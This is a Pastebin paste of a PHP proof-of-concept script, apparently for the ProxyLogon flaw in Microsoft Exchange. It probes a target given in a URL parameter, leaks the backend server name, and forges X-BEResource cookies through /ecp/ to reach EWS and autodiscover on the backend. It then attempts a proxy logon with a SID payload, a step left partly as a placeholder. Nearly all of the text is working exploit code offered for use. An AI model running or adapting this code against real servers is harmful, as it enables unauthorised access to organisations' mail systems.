Advertisement
e55db081d05f58a

proxylogonPoc.php

Mar 13th, 2021 (edited)
4,174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.38 KB | None | 0 0
  1. <?php
  2.     /*
  3.         [+]With l0v3 by @ov3rflow1
  4.         [+]Ref: https://twitter.com/1ZRR4H/status/1370630982521528320
  5.     */
  6.     error_reporting(E_ALL);
  7.     ini_set('display_errors', '1');
  8.     class owaPwned{
  9.         function __construct($url="https://127.0.0.1"){
  10.                 $this->userAgent='User-Agent: ov3rflow1/5.0 (X11; Linux x86_64) PWNED/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36';
  11.                 $this->effectiveUrl=$this->getEffective($url);
  12.                 $this->domain="https://".parse_url($this->effectiveUrl, PHP_URL_HOST);
  13.                 $this->ch=curl_init();
  14.                 curl_setopt($this->ch, CURLOPT_SSL_VERIFYHOST, 0);
  15.                 curl_setopt($this->ch, CURLOPT_SSL_VERIFYPEER, 0);
  16.                 curl_setopt($this->ch,CURLOPT_RETURNTRANSFER,1);
  17.                 curl_setopt($this->ch,CURLOPT_CONNECTTIMEOUT,1000);
  18.                 curl_setopt($this->ch, CURLOPT_BINARYTRANSFER, 1);
  19.                 curl_setopt($this->ch, CURLOPT_FOLLOWLOCATION, 1);
  20.                 curl_setopt($this->ch, CURLOPT_HEADER, TRUE);
  21.                 curl_setopt($this->ch, CURLOPT_POST, TRUE);
  22.         }
  23.        
  24.         function run(){
  25.                 $this->setFQDN();
  26.                 if($this->fqdn!=="false"){
  27.                     $this->setCalculatedBETarget();
  28.                     $this->setLegacyDN();
  29.                     $this->setSessId();
  30.                    
  31.                    
  32.                    
  33.                     curl_close($this->ch);
  34.                     return array(
  35.                         "FQDN"=>$this->fqdn,
  36.                         "calculatedBETarget"=>$this->xCalculatedBETarget,
  37.                         "legacyDN"=>json_encode($this->legacyDN),
  38.                         "SessId"=>$this->SessId
  39.                     );
  40.                 }
  41.                 return false;
  42.         }
  43.        
  44.         function getEffective($url){
  45.             $ch = curl_init();
  46.             curl_setopt ($ch, CURLOPT_URL, $url);
  47.             curl_setopt($ch, CURLOPT_HEADER, TRUE);
  48.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  49.             curl_setopt($ch, CURLOPT_BINARYTRANSFER, 1);
  50.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  51.             curl_setopt($ch, CURLOPT_TIMEOUT_MS,1000);
  52.             $header = curl_exec($ch);
  53.             $redir = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
  54.             curl_close($ch);
  55.             return $redir;
  56.         }
  57.        
  58.         function requestPost($dataRequest){
  59.             $domain=$this->domain;
  60.             $url=$domain."/ecp/".substr(sha1(uniqid()),0,3).".js";
  61.             $payload=$dataRequest['payload'];
  62.             $headers=$dataRequest['headers'];
  63.             curl_setopt($this->ch, CURLOPT_HTTPHEADER,$headers);
  64.             curl_setopt($this->ch,CURLOPT_URL,$url);
  65.             curl_setopt($this->ch, CURLOPT_POSTFIELDS,$payload);
  66.             $contentR = curl_exec($this->ch);
  67.             $headerR =curl_getinfo($this->ch);
  68.             if($headerR["http_code"]==200){
  69.                 $return=array(
  70.                     "contentR"=>$contentR,
  71.                     "headersR"=>$headerR,
  72.                     "url"=>$url
  73.                 );
  74.                 return $return;
  75.             }
  76.             return false;
  77.         }
  78.        
  79.         function setFQDN(){
  80.             $domain=$this->domain;
  81.             $url=$domain.'/owa/auth.owa';
  82.             $uA=$this->userAgent;
  83.             $email=uniqid("mrrobot").'@'.uniqid("ecorp").'com';
  84.             $password=uniqid("elliot");
  85.             $postData="destination=$domain/owa/ecp&flags=4&forcedownlevel=0&username=$email&password=$password&passwordText=$password&isUtf8=1";
  86.             curl_setopt($this->ch,CURLOPT_URL,$url);
  87.             curl_setopt($this->ch, CURLOPT_POSTFIELDS,$postData);
  88.            
  89.             $headers=array(
  90.                 "Cookie: ClientId=QQINFURSFEGJYDPQIQWPZA; PrivateComputer=true; PBack=0",
  91.                 "User-Agent: $uA",
  92.             );
  93.            
  94.             curl_setopt($this->ch, CURLOPT_HTTPHEADER,$headers);
  95.            
  96.             curl_setopt($this->ch, CURLOPT_HEADERFUNCTION,
  97.                 function($curl, $header) use (&$headers){
  98.                     $len = strlen($header);
  99.                     $header = explode(':', $header, 2);
  100.                     if (count($header) < 2) // ignore invalid headers
  101.                         return $len;
  102.                     $headers[strtolower(trim($header[0]))][] = trim($header[1]);
  103.                     return $len;
  104.                 }
  105.             );
  106.  
  107.             $content = curl_exec($this->ch);
  108.  
  109.             $redir = curl_getinfo($this->ch, CURLINFO_EFFECTIVE_URL);
  110.            
  111.             $response=curl_getinfo($this->ch);
  112.  
  113.             if($content==""){
  114.                 $content=@@file_get_contents($url,0, stream_context_create(["http"=>["timeout"=>100]]));
  115.             }
  116.             $rjson=array(
  117.                 "response"=>$response,
  118.                 "content"=>$content
  119.             );
  120.            
  121.             $XFEServer=isset($headers["x-feserver"][0])&&!(empty($headers["x-feserver"][0]))?$headers["x-feserver"][0]:"false";
  122.             if(preg_match("/owa\/auth\/([\d\.]*)\/themes\/resources\/favicon.ico/",$content,$version)){
  123.                 $this->version=$version[1];
  124.                 $this->favicon=$this->domain."/".$version[0];
  125.             }
  126.             $this->fqdn=$XFEServer;
  127.         }
  128.        
  129.         function setCalculatedBETarget(){
  130.             $fqdn=$this->fqdn;
  131.             $domain=$this->domain;
  132.             $version=$this->version;
  133.             $uA=$this->userAgent;
  134.             $headers=array(
  135.                 "Cookie:X-BEResource=$fqdn/EWS/Exchange.asmx?a=~1942062522",
  136.                 "Content-Type: text/xml",
  137.                 "User-Agent: ".$uA
  138.             );
  139.             $randomEmail=uniqid("mrrobot")."@".uniqid("ecorp").'.com';
  140.             $payload=<<<p
  141.                 <?xml version="1.0" encoding="utf-8"?>
  142.                 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  143.                 xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
  144.                 xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
  145.                 xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  146.                     <soap:Body>
  147.                         <m:GetFolder>
  148.                             <m:FolderShape>
  149.                                 <t:BaseShape>AllProperties</t:BaseShape>
  150.                             </m:FolderShape>
  151.                             <m:FolderIds>
  152.                                 <t:DistinguishedFolderId Id="inbox">
  153.                                     <t:Mailbox>
  154.                                         <t:EmailAddress>$randomEmail</t:EmailAddress>
  155.                                     </t:Mailbox>
  156.                                 </t:DistinguishedFolderId>
  157.                             </m:FolderIds>
  158.                         </m:GetFolder>
  159.                     </soap:Body>
  160.                 </soap:Envelope>
  161. p;
  162.             $payload=trim($payload);
  163.             $resultRequest=$this->requestPost(array(
  164.                 "payload"=>$payload,
  165.                 "headers"=>$headers,
  166.             ));
  167.             if($resultRequest!==false){
  168.                 $contentR=$resultRequest["contentR"];
  169.                 $headersR=$resultRequest["headersR"];
  170.                 $url=$resultRequest["url"];
  171.                 if(preg_match_all("/X-CalculatedBETarget:([ a-z0-9\-\.]*)/i",$contentR,$xCalculatedBETarget))
  172.                     $this->xCalculatedBETarget=str_replace($xCalculatedBETarget[1][0].'.','',$xCalculatedBETarget[1][1]);
  173.                 else
  174.                     $this->xCalculatedBETarget="false";
  175.             }else{
  176.                 $this->xCalculatedBETarget="false";
  177.             }
  178.         }
  179.         function setLegacyDN(){
  180.             $fqdn=$this->fqdn;
  181.             $domain=$this->domain;
  182.             $version=$this->version;
  183.             $uA=$this->userAgent;
  184.             $headers=array(
  185.                 "Cookie:X-BEResource=$fqdn/autodiscover/autodiscover.xml?a=~1942062522",
  186.                 "Content-Type: text/xml",
  187.                 "User-Agent: ".$uA
  188.             );
  189.             $randomEmail=uniqid("mrrobot")."@".uniqid("ecorp").'.com';
  190.             $payload=<<<p
  191.                 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
  192.                     <Request>
  193.                         <EMailAddress>{$randomEmail}</EMailAddress>
  194.                         <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
  195.                     </Request>
  196.                 </Autodiscover>
  197. p;
  198.  
  199.             $payload=trim($payload);
  200.             $resultRequest=$this->requestPost(array(
  201.                 "payload"=>$payload,
  202.                 "headers"=>$headers,
  203.             ));
  204.             if($resultRequest!==false){
  205.                 $contentR=$resultRequest["contentR"];
  206.                 $headersR=$resultRequest["headersR"];
  207.                 $url=$resultRequest["url"];
  208.                 $this->legacyDN=$contentR;
  209.             }else{
  210.                 $this->legacyDN="false";
  211.             }
  212.         }
  213.         function setSID(){
  214.             /*
  215.              * "Cookie:X-BEResource=Admin@$fqdn:444/mapi/emsmdb?MailboxId=$mailBoxId@$calculatedBETarget&a=~1942062522;"
  216.              * BLABLABLA
  217.              * BLABLABLA
  218.             */
  219.         }
  220.         function setSessId(){
  221.             //$SID=$this->SID;
  222.             $SID='OOOOOWWWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
  223.             $fqdn=$this->fqdn;
  224.             $domain=$this->domain;
  225.             $version=$this->version;
  226.             $uA=$this->userAgent;
  227.             $headers=array(
  228.                
  229.                 "Content-Type: text/xml",
  230.                 "User-Agent: ".$uA
  231.             );
  232.             $payload=<<<p
  233.                 <r at="Negotiate" ln="john">
  234.                     <s>$SID</s>
  235.                     <s a="7" t="1">
  236.                         S-1-1-0
  237.                     </s>
  238.                     <s a="7" t="1">
  239.                         S-1-5-2
  240.                     </s>
  241.                     <s a="7" t="1">
  242.                         S-1-5-11
  243.                     </s>
  244.                     <s a="7" t="1">
  245.                         S-1-5-15
  246.                     </s>
  247.                     <s a="3221225479" t="1">
  248.                         S-1-5-5-0-6948923
  249.                     </s>
  250.                 </r>
  251. p;
  252.  
  253.             $payload=trim($payload);
  254.             $resultRequest=$this->requestPost(array(
  255.                 "payload"=>$payload,
  256.                 "headers"=>$headers,
  257.             ));
  258.             if($resultRequest!==false){
  259.                 $contentR=$resultRequest["contentR"];
  260.                 $headersR=$resultRequest["headersR"];
  261.                 $url=$resultRequest["url"];
  262.                 $this->SessId=$contentR;
  263.             }else{
  264.                 $this->SessId="false";
  265.             }
  266.         }
  267.    
  268.     }
  269.  
  270.     $url=isset($_GET['url'])?$_GET['url']:null;
  271.     if($url!=null){
  272.         $owaPwned=new owaPwned($url);
  273.         $res=$owaPwned->run();
  274.         if($res!==false){
  275.             foreach($res as $r=>$val){
  276.                 echo "<br/><b>$r:</b><br/>";
  277.                 echo "<br/><textarea cols=50 rows=10>$val</textarea><br/>";
  278.             }
  279.         }else{
  280.             echo "Nope!";
  281.         }
  282.     }
  283. ?>
  284.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement